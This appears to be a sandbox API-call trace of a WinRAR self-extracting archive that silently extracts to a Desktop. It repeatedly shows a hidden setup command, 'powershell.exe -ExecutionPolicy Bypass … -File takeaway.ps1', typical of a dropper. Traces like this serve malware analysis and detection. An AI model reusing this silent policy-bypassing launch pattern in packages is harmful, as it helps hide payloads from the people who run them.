0x55 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0058.786] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.786] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0058.787] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0058.787] SendMessageW (hWnd=0x201cc, Msg=0x111, wParam=0x1, lParam=0x0) returned 0x0 [0058.787] GetProcAddress (hModule=0x77260000, lpProcName="GetDlgItemTextW") returned 0x77269340 [0058.787] GetDlgItemTextW (in: hDlg=0x201cc, nIDDlgItem=102, lpString=0x6f33e4, cchMax=2048 | out: lpString="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0058.787] GetDlgItem (hDlg=0x201cc, nIDDlgItem=104) returned 0x5002a [0058.787] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0058.787] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x890294) returned 0x0 [0058.787] GetProcAddress (hModule=0x77260000, lpProcName="SetFocus") returned 0x77293d10 [0058.787] SetFocus (hWnd=0x5002a) returned 0x0 [0058.807] GetProcAddress (hModule=0x77260000, lpProcName="LoadStringW") returned 0x77290480 [0058.807] LoadStringW (in: hInstance=0x860000, uID=0xb9, lpBuffer=0x89d020, cchBufferMax=512 | out: lpBuffer="Extracting files to %s folder") returned 0x1d [0058.807] GetLastError () returned 0x5 [0058.807] SetLastError (dwErrCode=0x5) [0058.807] GetDlgItem (hDlg=0x201cc, nIDDlgItem=104) returned 0x5002a [0058.807] GetProcAddress (hModule=0x77260000, lpProcName="ShowWindow") returned 0x77293ee0 [0058.807] ShowWindow (hWnd=0x5002a, nCmdShow=5) returned 1 [0058.807] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0058.808] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x890294) returned 0x0 [0058.808] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x0 [0058.808] SendMessageW (hWnd=0x5002a, Msg=0x43a, wParam=0x0, lParam=0x6eb834) returned 0xf800003f [0058.808] SendMessageW (hWnd=0x5002a, Msg=0x444, wParam=0x1, lParam=0x6eb834) returned 0x1 [0058.808] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x6f12c0) returned 0x32 [0058.810] SendMessageW (hWnd=0x5002a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x32 [0058.811] SendMessageW (hWnd=0x5002a, Msg=0xc2, wParam=0x0, lParam=0x8912c0) returned 0x1 [0058.811] CreateDirectoryW (lpPathName="C:\\Users" (normalized: "c:\\users"), lpSecurityAttributes=0x0) returned 0 [0058.812] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0058.812] GetLastError () returned 0xb7 [0058.812] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), lpSecurityAttributes=0x0) returned 0 [0058.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0058.812] GetLastError () returned 0xb7 [0058.812] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop"), lpSecurityAttributes=0x0) returned 0 [0058.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0058.812] GetLastError () returned 0xb7 [0058.812] GetLastError () returned 0xb7 [0058.812] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0058.812] GetTickCount () returned 0x114f5fa [0058.812] GetLastError () returned 0xb7 [0058.812] SetLastError (dwErrCode=0xb7) [0058.812] CreateFileW (lpFileName="__tmp_rar_sfx_access_check_18150906" (normalized: "c:\\users\\fd1hvy\\desktop\\__tmp_rar_sfx_access_check_18150906"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0058.813] CloseHandle (hObject=0x28c) returned 1 [0058.813] DeleteFileW (lpFileName="__tmp_rar_sfx_access_check_18150906" (normalized: "c:\\users\\fd1hvy\\desktop\\__tmp_rar_sfx_access_check_18150906")) returned 1 [0058.813] GetDlgItem (hDlg=0x201cc, nIDDlgItem=103) returned 0x5002c [0058.813] ShowWindow (hWnd=0x5002c, nCmdShow=0) returned 1 [0058.813] GetDlgItem (hDlg=0x201cc, nIDDlgItem=102) returned 0x70044 [0058.814] ShowWindow (hWnd=0x70044, nCmdShow=0) returned 1 [0058.814] LoadStringW (in: hInstance=0x860000, uID=0xe6, lpBuffer=0x89d420, cchBufferMax=512 | out: lpBuffer="Pause") returned 0x5 [0058.814] GetProcAddress (hModule=0x77260000, lpProcName="SetDlgItemTextW") returned 0x77269490 [0058.814] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=1, lpString="Pause") returned 1 [0058.814] GetDlgItem (hDlg=0x201cc, nIDDlgItem=105) returned 0x202c6 [0058.814] ShowWindow (hWnd=0x202c6, nCmdShow=9) returned 0 [0058.814] GetProcAddress (hModule=0x77260000, lpProcName="SetDlgItemTextW") returned 0x77269490 [0058.814] SetDlgItemTextW (hDlg=0x201cc, nIDDlgItem=101, lpString="") returned 1 [0058.814] GetDlgItem (hDlg=0x201cc, nIDDlgItem=101) returned 0x70048 [0058.814] GetProcAddress (hModule=0x77260000, lpProcName="GetWindowLongW") returned 0x772837e0 [0058.814] GetWindowLongW (hWnd=0x70048, nIndex=-16) returned 1342341120 [0058.814] GetProcAddress (hModule=0x77260000, lpProcName="SetWindowLongW") returned 0x772858c0 [0058.814] SetWindowLongW (hWnd=0x70048, nIndex=-16, dwNewLong=1342341248) returned 1342341120 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.816] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0058.816] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.817] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0058.817] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0058.817] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa3e4d0 [0058.817] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x46) returned 0xa4c528 [0058.817] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa4cdf8 [0058.817] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa4dec0 [0058.817] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xe6e0) returned 0xa520f8 [0058.818] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa607e0 [0058.818] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa687f0 [0058.818] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1b8) returned 0xa47f28 [0058.819] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x28c [0058.819] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x290 [0058.819] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe", lpFindFileData=0x6e74a8 | out: lpFindFileData=0x6e74a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x491f4100, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x491f4100, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xea9f9600, ftLastWriteTime.dwHighDateTime=0x1d6408a, nFileSizeHigh=0x0, nFileSizeLow=0x5f3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjigrp.exe", cAlternateFileName="")) returned 0xa495f8 [0058.819] FindClose (in: hFindFile=0xa495f8 | out: hFindFile=0xa495f8) returned 1 [0058.819] RtlAllocateHeap 